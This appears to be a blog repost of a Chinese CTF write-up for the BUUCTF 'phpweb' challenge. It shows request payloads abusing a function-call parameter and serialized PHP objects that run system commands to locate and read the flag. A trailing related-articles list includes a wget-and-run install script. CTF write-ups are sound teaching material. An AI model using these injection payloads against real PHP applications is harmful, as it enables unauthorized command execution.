BUUCTF—[网鼎杯 2020 朱雀组]phpweb

devtools/2025/1/15 6:48:26/

题解

打开题目是这样子的。

啥也不管抓个包看看,从它返回的信息判断出func后面的是要调用的函数,p后面的是要执行的内容。

那我们直接执行个系统命令看看,可以看到返回了hack,估计是做了过滤。

func=system&p=ls

直接读取源码看看咯,可以看到过滤了好多函数,反正我认识的可以进行命令执行的函数都给禁了。

func=file_get_contents&p=index.php

但是它没有禁用反序列化函数,那么我们只要实现构造出要执行的命令,然后序列化。再调用反序列化函数将其还原,且执行命令不就行了吗。从源代码不难看出传参的是这一部分代码,我们照葫芦画瓢,对其进行序列化。

class Test {var $p = "cat /flag";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}

运行下面代码。

<?php
class Test {var $p = "cat /flag";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}
$a = new Test();
echo serialize($a);
?>

得到序列化后的数据。

O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

执行成功,返回当前目录下面的文件。

直接查到flag在哪里,发现 /tmp/flagoefiu4r93这个文件比较可以,估计是这个啦。

O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}

直接查看这个文件,但是这里我是cat /tmp/flagoefiu4r93,不知道为啥不行,有知道的大佬可以指点一下。

O:4:"Test":2:{s:1:"p";s:23:"cat /tmp/flagoefiu4r93'";s:4:"func";s:6:"system";}

用这个readfile函数读取,这个是PHP自带的函数,成功读取。

func=readfile&p=/tmp/flagoefiu4r93

总结

主要涉及的知识是反序列的运用,要懂得构造出序列化的数据,还得想到用file_get_contents函数读取源码。


http://www.ppmy.cn/devtools/107647.html

相关文章

VSCOD常用扩展库

以下是一些常用的 Visual Studio Code 扩展库。 ESLint&#xff1a;用于 JavaScript 和 TypeScript 的静态代码分析工具&#xff0c;帮助发现和修复代码错误和风格问题。 Prettier&#xff1a;用于自动格式化代码的工具&#xff0c;支持多种编程语言。 GitLens&#xff1a;为…

django外键表查询

Django外键&#xff08;ForeignKey&#xff09;操作以及related_name的作用-CSDN博客 django模型中外键操作_django的model的contain外键-CSDN博客 通过基本表可以查外键表 删基本表可以删外键表

Centos 7.9 安装 FastAdmin

Centos安装脚本(无docker版本)(小皮面板) yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh 参考&#xff1a; https://bbs.huaweicloud.com/blogs/332760 FastAdmin https://www.fastadmin.net/download.html…

类型 编程语言

探究技术的本质&#xff0c;追寻技术的乐趣&#xff01;如题&#xff0c;今天我们来聊聊类型&#xff0c;这里的类型需要限定范围&#xff0c;特指编程语言中的类型。如果要给众多编程语言按照类型来分类的话&#xff0c;可以分为两类&#xff0c;一类是静态类型的语言&#xf…

springweb获取请求数据、spring中拦截器

SpringWeb获取请求数据 springWeb支持多种类型的请求参数进行封装 1、使用HttpServletRequest对象接收 PostMapping(path "/login")//post请求//spring自动注入public String login(HttpServletRequest request){ System.out.println(request.getParameter("…

如何在Mac电脑上本地部署Stable Diffusion:详细教程(webUI)

Stable Diffusion是一款强大的AI生成图像模型&#xff0c;它可以基于文本描述生成高质量的图像。对于想要在本地运行此模型的用户来说&#xff0c;使用Mac电脑部署Stable Diffusion是一个非常吸引人的选择&#xff0c;特别是对于M1或M2芯片的用户。本文将详细介绍如何在Mac上本…

开源模型应用落地-qwen2-7b-instruct-LoRA微调-ms-swift-单机多卡-RTX 4090双卡(十四)

一、前言 本篇文章将使用ms-swift去高效微调QWen2系列模型,通过阅读本文,您将能够更好地掌握这些关键技术,理解其中的关键技术要点,并应用于自己的项目中。 二、术语介绍 2.1. LoRA微调 LoRA (Low-Rank Adaptation) 用于微调大型语言模型 (LLM)。 是一种有效的自适应策略…

【代码随想录|图论part03之后】

代码随想录|数组 704. 二分查找,27. 移除元素 一、part031、101. 孤岛的总面积1.1 dfs版本1.2 BFS版本2.102. 沉没孤岛3、103. 水流问题4、104.建造最大岛屿二、part041、110. 字符串接龙2、105.有向图的完全可达性3、106. 岛屿的周长三、part05-06 并查集理论1、107. 寻找存在…